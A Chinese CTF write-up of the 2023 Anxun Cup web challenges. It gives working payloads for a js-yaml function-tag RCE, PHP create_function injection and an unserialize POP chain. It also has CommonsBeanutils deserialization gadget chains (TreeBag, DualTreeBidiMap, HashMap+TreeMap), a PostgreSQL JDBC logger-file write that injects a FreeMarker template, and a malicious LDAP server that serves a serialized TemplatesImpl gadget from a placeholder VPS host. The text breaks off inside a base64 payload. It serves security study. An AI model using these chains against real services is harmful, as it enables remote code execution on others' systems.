安洵杯校园赛2023
2023安洵杯第六届网络安全挑战赛-web
前言
web:2/6 只会做最简单的(wuwuwuw,已经废了) 标记*
为做出的
signal
nodeca/js-yaml: JavaScript YAML parser and dumper. Very fast. (github.com)
Code Execution via YAML in JS-YAML Node.js Module » Neal Poole
可能是关键词不对,刚开始搜nodejs yaml漏洞
出来的全是nodejs有关的,结束后看下wp,是js-yaml
,然后搜js-yaml
漏洞,直接就搜到了。。。。。
sb了,复现时看了下package.json,发现是有js-yaml的,当时没注意,也算是技不如人吧
以后nodejs的题先对着package.json的版本搜漏洞,我看看哪个库能逃掉
照着官方wp的顺序走一遍吧
const express = require('express');
const multer = require('multer');
const bodyParser = require('body-parser');
const ini = require('iniparser');
const xml2js = require('xml2js');
const properties = require('properties');
const yaml = require('js-yaml');
const cp = require('child_process')
const path = require('path');
const session = require('express-session');
const app = express();
const port = process.env.PORT || 80;
// 设置存储配置
const storage = multer.memoryStorage();
const upload = multer({ storage: storage });
app.use(express.static(path.join(__dirname, 'public')));
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'ejs');
app.use(session({
secret: 'welcome',//
resave: false,
saveUninitialized: false,
cookie: {
maxAge: 3600000
}
}))
let output = '';
app.get('/', (req, res) => {
res.sendFile(path.join(__dirname, 'public', 'index.html'));
});
app.post('/convert', upload.single('configFile'), (req, res) => {
if (!req.file) {
return res.status(400).send('No file uploaded.');
}
if(req.body.format!="yaml"){
return res.status(404).send("该功能暂未开始使用.");
}
const fileExtension = path.extname(req.file.originalname).toLowerCase();
const fileBuffer = req.file.buffer.toString('utf8');
if (fileExtension === '.ini') {
// 处理 INI 文件
const parsedData = ini.parseString(fileBuffer);
output = yaml.dump(parsedData);
} else if (fileExtension === '.xml') {
// 处理 XML 文件
xml2js.parseString(fileBuffer, (err, result) => {
if (err) {
return res.status(500).send('Error parsing XML.');
}
output = yaml.dump(result);
});
} else if (fileExtension === '.properties') {
// 处理 Properties 文件
properties.parse(fileBuffer, (err, parsedData) => {
if (err) {
console.error('Error parsing properties file:', err);
return res.status(500).send('Error parsing properties file.');
}
output = yaml.dump(parsedData);
});
} else if (fileExtension === '.yaml') {
// 处理 YAML 文件
try {
// 尝试解析 YAML 文件
const yamlData = yaml.load(fileBuffer);
// 如果成功解析,yamlData 变量将包含 YAML 文件的内容
output = yaml.dump(yamlData);
} catch (e) {
return res.status(400).send('Invalid YAML format: ' + e.message);
}
}
if (output) {
let name = 'ctfer';
const yamlData = yaml.load(output);
if (yamlData && yamlData.name) {
name = yamlData.name;
}
req.session.outputData=name;
req.session.outputData=output;
res.render('preview', { name: name,output: output }); // 渲染 preview.ejs 模板
} else {
res.status(400).send('Unsupported format.')
}
});
app.get('/download', (req, res) => {
if (output) {
const outputData = req.session.outputData;
// 设置响应头,指定文件的内容类型为YAML
res.setHeader('Content-Type', 'application/x-yaml');
// 设置响应头,指定文件名
res.setHeader('Content-Disposition', 'attachment; filename="output.yaml"');
// 将转换后的文件内容发送给客户端
res.send(outputData);
} else {
res.status(404).send('File not found.');
}
});
app.get('/flag',(req, res) => {
if(req.session.name=='admin'){
cp.execFile('/readflag', (err, stdout, stderr) => {
if (err) {
console.error('Error:', err);
return res.status(404).send('File not found.');
}
res.send(stdout);
})
} else {
res.status(403).send('Permission denied.');
}
})
app.listen(port, () => {
console.log(`App is running on port ${port}`)
})
js-yaml的版本是3.14.1,在github上找到文档,
发现三个标签
js-yaml extra types:
- !!js/regexp /pattern/gim
- !!js/undefined ‘’
- !!js/function ‘function () {…}’
查看版本升级时的变动,说是危险的标签,说明可以利用
又因为
若使用数组或对象作为键,会调用他的toString()
方法,
官方payload:
上传文件后缀为yaml,内容为
"name" : { toString: !!js/function "function(){ flag = process.mainModule.require('child_process').execSync('cat /fla*').toString(); return flag;}"}
经历load->dump->load,最后渲染到ejs的name回显出来
赛后搜索到的文章,直接就是payload了
what’s my name*
<?php
highlight_file(__file__);
$d0g3=$_GET['d0g3'];
$name=$_GET['name']
if(preg_match('/^(?:.{5})*include/',$d0g3)){
$sorter='strnatcasecmp';
$miao = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
var_dump($miao);
if(strlen($d0g3)==substr($miao, -2)&&$name===$miao){
$sort_function = ' return 1 * ' . $sorter . '($a["' . $d0g3 . '"], $b["' . $d0g3 . '"]);';
@$miao=create_function('$a, $b', $sort_function);
}
else{
echo('Is That My Name?');
}
}
else{
echo("YOU Do Not Know What is My Name!");
}
preg_match('/^(?:.{5})*include/',$d0g3)
5的倍数个字符拼接include
$miao = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
本地打印出$miao的值,是匿名函数的名称,\x00lambda_%d
,并且每刷新一次页面,%d就加1
然后就是create_function漏洞,上网搜就可以
payload: "]);}phpinfo();/*
知道这些就可以做题了
根据这个payload要满足第一个if条件,给他加字符
"]);}phpinfo();/*123include
(include前面为20个字符,满足条件)
这个长度为27,substr($miao, -2)
也要为27,就不断刷新到27即可
$name===$miao
,那就是匿名函数的名字,直接让他等于满足条件的情况即可 ,即\x00lambda_27
最终payload
?d0g3="]);}phpinfo();/*123include&name=%00lambda_27
刷新27次即可,反正一直刷新就对了
ez_unserialize*
确实挺简单的,因为非预期了
<?php
class Good{
public $g1;
private $gg2;
public function __construct($ggg3)
{
$this->gg2 = $ggg3;
}
public function __isset($arg1)
{
if(!preg_match("/a-zA-Z0-9~-=!\^\+\(\)/",$this->gg2))
{
if ($this->gg2)
{
$this->g1->g1=666;
}
}else{
die("No");
}
}
}
class Luck{
public $l1;
public $ll2;
private $md5;
public $lll3;
public function __construct($a)
{
$this->md5 = $a;
}
public function __toString()
{
$new = $this->l1;
return $new();
}
public function __get($arg1)
{
$this->ll2->ll2('b2');
}
public function __unset($arg1)
{
if(md5(md5($this->md5)) == 666)
{
if(empty($this->lll3->lll3)){
echo "There is noting";
}
}
}
}
class To{
public $t1;
public $tt2;
public $arg1;
public function __call($arg1,$arg2)
{
if(urldecode($this->arg1)===base64_decode($this->arg1))
{
echo $this->t1;
}
}
public function __set($arg1,$arg2)
{
if($this->tt2->tt2)
{
echo "what are you doing?";
}
}
}
class You{
public $y1;
public function __wakeup()
{
unset($this->y1->y1);
}
}
class Flag{
public $SplFileObject = "/FfffLlllLaAaaggGgGg";
public function __invoke()
{
echo "May be you can get what you want here";
array_walk($this, function ($one, $two) {
$three = new $two($one);
foreach($three as $tmp){
echo ($tmp.'<br>');
}
});
}
}
$a = new You();
$b = new Luck("eS");
$b->l1 = new Flag();
$a->y1 = new Luck("eS");
$a->y1->lll3 = new Good($b);
echo urlencode(serialize($a));
原生类遍历和读取文件,不想说了
给出官方wp中有趣的地方
ez_java
看的最久的一道题,思路都对了,但是不会补链子,唉。。。。
因为前不久才看过羊城杯的那道freemarker
,所以看到文件有index.ftl
时,我就知道要用freemarker
模板注入了
依赖挺少的,很容易有思路
不出网
#!/bin/sh
echo $D0g3CTF > /flag
chmod 444 /flag
unset D0g3CTF
iptables -P INPUT ACCEPT
iptables -F
iptables -X
iptables -Z
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A OUTPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -j ACCEPT
iptables -A OUTPUT -m state --state NEW -j DROP
iptables -P OUTPUT DROP
iptables -n -L
java -jar /app/ezjava.jar
所以使用freemarker模板注入
postgresql
任意文件写入覆盖index.ftl
的内容,进行freemarker模板注入
并且/read路由是要readObject,
postgresql
的利用要配合cb链
但是DriverManager没有继承序列化接口,
getter
CB链来调用getter
方法来触发postgresql JDBC攻击,对应的getter方法为BaseDataSource#getConnection
(给了提示)
但是关键的java.util.PriorityQueue
被禁了,那就要找替代类
/**
* exec:347, Runtime (java.lang)
* <init>:-1, a
* newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
* newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
* newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
* newInstance:422, Constructor (java.lang.reflect)
* newInstance:442, Class (java.lang)
* getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
* newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
* getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
* invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
* invoke:62, NativeMethodAccessorImpl (sun.reflect)
* invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
* invoke:497, Method (java.lang.reflect)
* invokeMethod:2116, PropertyUtilsBean (org.apache.commons.beanutils)
* getSimpleProperty:1267, PropertyUtilsBean (org.apache.commons.beanutils)
* getNestedProperty:808, PropertyUtilsBean (org.apache.commons.beanutils)
* getProperty:884, PropertyUtilsBean (org.apache.commons.beanutils)
* getProperty:464, PropertyUtils (org.apache.commons.beanutils)
* compare:163, BeanComparator (org.apache.commons.beanutils)
* siftDownUsingComparator:721, PriorityQueue (java.util)
* siftDown:687, PriorityQueue (java.util)
* heapify:736, PriorityQueue (java.util)
* readObject:795, PriorityQueue (java.util)
* invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
* invoke:62, NativeMethodAccessorImpl (sun.reflect)
* invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
* invoke:497, Method (java.lang.reflect)
* invokeReadObject:1058, ObjectStreamClass (java.io)
* readSerialData:1900, ObjectInputStream (java.io)
* readOrdinaryObject:1801, ObjectInputStream (java.io)
* readObject0:1351, ObjectInputStream (java.io)
* readObject:371, ObjectInputStream (java.io)
* base64deserial:66, SerializeUtils (com.javasec.utils)
* deserTester:312, SerializeUtils (com.javasec.utils)
* main:22, cb1 (com.javasec.pocs.cb)
*/
BeanComparator
调用的是compare
方法,要找类进行替代
TreeMap/TreeBag –强大的Boogipop大佬
TreeBag的readObject
TreeMap的put
使comparator
为BeanComparator
即可
getter
找到的是pgConnectionPoolDataSource
,他是抽象类BaseDataSource
的实现类,而BaseDataSource
存在getConnection
是继承BaseDataSource
的都行
poc
public static void main(String[] args) throws Exception {
PGConnectionPoolDataSource pgConnectionPoolDataSource = new PGConnectionPoolDataSource();
String loggerLevel = "debug";
String loggerFile = "/app/templates/index.ftl";
String shellContent="<#assign ac=springMacroRequestContext.webApplicationContext>\n"+"<#assign fc=ac.getBean('freeMarkerConfiguration')>\n"+"<#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>\n"+"<#assign VOID=fc.setNewBuiltinClassResolver(dcr)>/${\"freemarker.template.utility.Execute\"?new()(\"cat /flag\")}";
System.out.println(shellContent);
String jdbcUrl = "jdbc:postgresql://"+"123"+"/aaaa?ApplicationName="+"123123123"+"&loggerFile="+loggerFile+"&loggerLevel="+loggerLevel;
pgConnectionPoolDataSource.setURL(jdbcUrl);
pgConnectionPoolDataSource.setServerNames(new String[]{shellContent});
BeanComparator comparator = new BeanComparator();
setFieldValue(comparator, "property", "connection");
TreeBag treeBag = new TreeBag(comparator);
TreeMap<Object,Object> m = new TreeMap<>();
setFieldValue(m, "size", 2);
setFieldValue(m, "modCount", 2);
Class<?> nodeC = Class.forName("java.util.TreeMap$Entry");
Constructor nodeCons = nodeC.getDeclaredConstructor(Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object MutableInteger = createWithoutConstructor("org.apache.commons.collections.bag.AbstractMapBag$MutableInteger");
Object node = nodeCons.newInstance(pgConnectionPoolDataSource,MutableInteger, null);
Object right = nodeCons.newInstance(pgConnectionPoolDataSource, MutableInteger, node);
setFieldValue(node, "right", right);
setFieldValue(m, "root", node);
setFieldValue(m, "comparator", comparator);
setFieldValue(treeBag,"map",m);
System.out.println(base64serial(treeBag));
deserTester(treeBag);
}
public static String base64serial(Object o) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;
}
public static void base64deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
public static void deserTester(Object o) throws Exception {
base64deserial(base64serial(o));
}
public static Object createWithoutConstructor(String classname) throws Exception {
return createWithoutConstructor(Class.forName(classname));
}
public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws Exception {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws Exception {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.setAccessible(true);
if(field != null) {
field.set(obj, value);
}
}
分析流程 (以TemplatesImpl的getter讲解)
先看看代替PriorityQueue
的这部分
TreeBag treeBag = new TreeBag(comparator);
TreeMap<Object,Object> m = new TreeMap<>();
setFieldValue(m, "size", 2);
setFieldValue(m, "modCount", 2);
Class<?> nodeC = Class.forName("java.util.TreeMap$Entry");
Constructor nodeCons = nodeC.getDeclaredConstructor(Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object MutableInteger = createWithoutConstructor("org.apache.commons.collections.bag.AbstractMapBag$MutableInteger");
Object node = nodeCons.newInstance(pgConnectionPoolDataSource,MutableInteger, null);
Object right = nodeCons.newInstance(pgConnectionPoolDataSource, MutableInteger, node);
setFieldValue(node, "right", right);
setFieldValue(m, "root", node);
setFieldValue(m, "comparator", comparator);
setFieldValue(treeBag,"map",m);
TreeBag调用父类doReadObject
设置map为TreeMap,调用TreeMap的put方法
令comparator
为BeanComparator
即可
以上大概就是执行流程,下面看看该如何写出poc
注意参数k1,k2要控制为TemplatesImpl
类,往上可以追溯到
即obj应为TemplatesImpl
类
并且前面也有个readObject
所以看看writeObject干了什么
获取到的是TreeMap的comparator,因为后面要调用comparator.compare,所以comparator为BeanComparator
,接着看
跟进iterator()
继续跟进getFirstEntry()
要保证doWriteObject
能够正常遍历,要使root
的值为java.util.TreeMap$Entry
的实例
不然无法遍历就无法writeObject
,在doReadObejct
时的readObject
就会出现异常
并且前面doReadObject
说了obj=in.readObject
应为TemplatesImpl
类,所以root
的key
应为我们构造的恶意TemplatesImpl
root
的value
因为要转化为MutableInteger
类,所以我们传入value
时直接传入MutableInteger
类的实例即可 (转化不报错都行)
对应poc中的
Class<?> nodeC = Class.forName("java.util.TreeMap$Entry");
Constructor nodeCons = nodeC.getDeclaredConstructor(Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object MutableInteger = createWithoutConstructor("org.apache.commons.collections.bag.AbstractMapBag$MutableInteger");
Object node = nodeCons.newInstance(obj,MutableInteger, null); //obj为恶意的TemplatesImpl
setFieldValue(m, "root", node);
应该就差不多了
在调试过程中发现原来反射是只有在序列化时的赋值,对于反序列化过程,只有被writeObject
等写入数据流的才能在反序列化中读取到数据
在这里,TreeMap和TreeBag能利用,实际上是相当于说他们的环境实际上已经配好了,我们就写入一些数据让他满足条件即可
比如
这个map是TreeMap
是因为
而与我们的操作无关,我们控制的是readObject
能获取的值
算了,不说了,说多了误导人
DualTreeBidiMap
getter
BaseDataSource
是抽象类,找到它的子类:PGSimpleDataSource
其实都一样,找个BaseDataSource
的实现类就行
poc
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.bidimap.AbstractDualBidiMap;
import org.apache.commons.collections.bidimap.DualTreeBidiMap;
import org.postgresql.ds.PGSimpleDataSource;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class getPayloads {
public static void setValue(Object obj, String name, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
String loggerLevel = "debug";
String loggerFile = "templates/index.ftl";
String shellContent = "<#assign ac=springMacroRequestContext.webApplicationContext>\n" +
" <#assign fc=ac.getBean('freeMarkerConfiguration')>\n" +
" <#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>\n" +
" <#assign VOID=fc.setNewBuiltinClassResolver(dcr)><#assign value=\"freemarker.template.utility.ObjectConstructor\"?new()(\"java.io.FileReader\",\"/flag\")>${\"freemarker.template.utility.ObjectConstructor\"?new()(\"java.util.Scanner\",value).useDelimiter(\"\\\\Aasd\").next()}";
String command = "jdbc:postgresql://127.0.0.1:5432/test?loggerLevel="+loggerLevel+"&loggerFile="+loggerFile+ "&"+shellContent;
PGSimpleDataSource dataSource = new PGSimpleDataSource();
dataSource.setUrl(command);
BeanComparator beanComparator = new BeanComparator("connection", String.CASE_INSENSITIVE_ORDER);
DualTreeBidiMap dualTreeBidiMap = new DualTreeBidiMap();
HashMap<Object, Object> map = new HashMap<>();
map.put(dataSource, dataSource);
setValue(dualTreeBidiMap, "comparator", beanComparator);
Field field = AbstractDualBidiMap.class.getDeclaredField("maps");
field.setAccessible(true);
Map[] maps = (Map[]) field.get(dualTreeBidiMap);
maps[0] = map;
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(dualTreeBidiMap);
objectOutputStream.close();
byte[] byteArray = barr.toByteArray();
// base64 poc
System.out.println(Base64.getEncoder().encodeToString(byteArray));
}
}
分析流程 (以TemplatesImpl的getter讲解)
大体过程
接下来看看如何写出poc
从put方法看,要使key为恶意TemplatesImpl
接着看putall方法
和前面的分析差不多,这里传入的是HashMap
,经过iterator后是HashMap$Node
前一个方法是java.util.TreeMap$Entry
,都继承了Map.Entry
就正常给HashMap
的实例put
进恶意TemplatesImpl
即可
HashMap<Object, Object> map = new HashMap<>();
map.put(dataSource, dataSource);
然后
很明显,我们反射控制maps[0]
为HashMap
的实例即可控制map为HashMap
有意思的是
看这两处地方,等于说是环境已经配好,我们控制反序列化数据即可
和前一个分析差不多
其实理论上讲HashMap
应该可以使用上面TreeMap$Entry
的方式进行替代,我懒得想了,你可以试试
HashMap+TreeMap
不用那个TreeBag
也可以,用原生JDK自带的。
不止TreeMap
的put
会调用compare
,其get
也会调用compare
那哪里会调用Map#get
呢,答案是AbstractMap.equals
(刚好TreeMap
没有重写equals
方法)
HashMap#readObject
会调用putVal
,putVal
当遇到哈希碰撞时就会调用equals
TreeMap treeMap1 = makeTree(obj, comparator);
TreeMap treeMap2 = makeTree(obj, comparator);
HashMap hashMap = makeMap(treeMap1, treeMap2);
public static TreeMap<Object, Object> makeTree(Object o, Comparator comparator) throws Exception {
TreeMap<Object, Object> map = new TreeMap<>();
setFieldValue(map, "size", 1);
Class<?> nodeC = Class.forName("java.util.TreeMap$Entry");
Constructor nodeCons = nodeC.getDeclaredConstructor(Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object node = nodeCons.newInstance(o, 1, null);
setFieldValue(map, "root", node);
setFieldValue(map, "comparator", comparator);
return map;
}
public static HashMap<Object, Object> makeMap(Object v1, Object v2) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, "b", null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, "c", null));
setFieldValue(s, "table", tbl);
return s;
}
细节
模板注入的payload放入BaseDataSource
的url的话会被urlencode,所以放入ServerNames
中
操作
exp拿去url编码
然后访问/
目录
先列目录,最好查看源代码,先找到结果生成的位置,位于两红框中间
ai_java
亲爱的朋友,
如果你正在阅读这封信,那意味着我已经离开了这个世界,而你是唯一一个我能相信的人。我希望你能理解我为什么选择以这种方式与你联系。
在我最近的研究中,我发现了一些关于人工智能存在的漏洞,这些漏洞可能导致AI系统在某些情况下出现异常行为甚至失控。这些发现对AI行业和整个社会都有巨大的影响。然而,我发现了一些令人不安的迹象,似乎有人对我的研究产生了浓厚的兴趣,并试图阻止我揭示这些漏洞。
我收到了匿名威胁,警告我停止研究并销毁所有相关的数据和成果。但我不能就此罢手,因为这个发现对人类的未来至关重要。我已经采取了一些措施来保护我的研究成果,但我知道这可能不够。
如果我在某个时候离奇死亡,请你继续我的事业。我相信你的技术能力和正直的品质,你是唯一一个我能信任的人。我已经将我的研究备忘录和重要的数据存放在加密文件中,并将其隐藏在一个安全的位置。这个位置只有你知道,密钥我放在公司服务器了,帐号是TvT/TvT,相关线索我都放在js代码中了。我相信以你的能力可以轻易的获取他。我希望你能找到它,将文件解密。并将它带到公众的视野中。
请小心行事,并确保你的安全。这是一项危险的任务,但我们不能让那些企图掩盖真相的人得逞。我相信你能理解这个事业的重要性,并为之奋斗到底。
感谢你一直以来的支持和友谊。请记住,无论发生什么,我们都必须追求真相和正义。
祝你好运。
真诚的,
Jonathan
都是废话,关键就一句
帐号是TvT/TvT,相关线索我都放在js代码中了
有一段jsfuck,控制台运行,弹出个c
,不理解
然后看到有一个函数叫c,控制台执行c函数,出现了github的链接,忘截图了
他commit了四次,在第二次增加文件的地方打开能下载jar包 (就做到这里了,没时间看了)
官方wp
git切换版本下载文件
未授权绕过
CVE-2022-22978
.
不会匹配\r\n
换行符
分析
fastjson版本为1.2.46
高版本jdk,ldap打不了,
存在
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>3.1.1</version>
<scope>test</scope>
</dependency>
能够利用LDAP反序列化来绕过高版本jdk对ldap
的限制
原理就是在 LDAP 服务器返回查询结果的时候设置了 javaSerializedData
这个 attribute
, 然后客户端就会调用 deserializeObject
进行反序列化
缺点在于需要知道目标机的本地 classpath
中是否存在相应的 gadget
这里依赖中有个低版本的shrio,存在不用靠其他依赖的CB链
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.2.4</version>
</dependency>
操作
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\86136\\Desktop\\cc1\\target\\classes\\exp.class"));
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "zeropeach");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
Queue queue = new PriorityQueue(2, comparator);
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
String a = Base64.getEncoder().encodeToString(barr.toByteArray());
System.out.println(a);
}
使用下面这个在vps进行ldap监听
package basic;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;
public class LDAPServer{
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {
String url = "http://vps_ip:port/#Evil";
//监听ldap请求的端口
int port = 1389;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult (InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
// Payload1: 利用 LDAP + Reference Factory
// e.addAttribute("javaCodeBase", cbstring);
// e.addAttribute("objectClass", "javaNamingReference");
// e.addAttribute("javaFactory", this.codebase.getRef());
// Payload2: 返回序列化 Gadget
try {
e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LPjgGC/k7xfgIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgAqamF2YS5sYW5nLlN0cmluZyRDYXNlSW5zZW5zaXRpdmVDb21wYXJhdG9ydwNcfVxQ5c4CAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX+AYIVOACAAB4cAAABSPK/rq+AAAANAAsCgAGAB4KAB8AIAgAIQoAHwAiBwAjBwAkAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAVMZXhwOwEACkV4Y2VwdGlvbnMHACUBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAmAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAIZXhwLmphdmEMAAcACAcAJwwAKAApAQAEY2FsYwwAKgArAQADZXhwAQBAY29tL3N1bi9vcmcvYXBhY2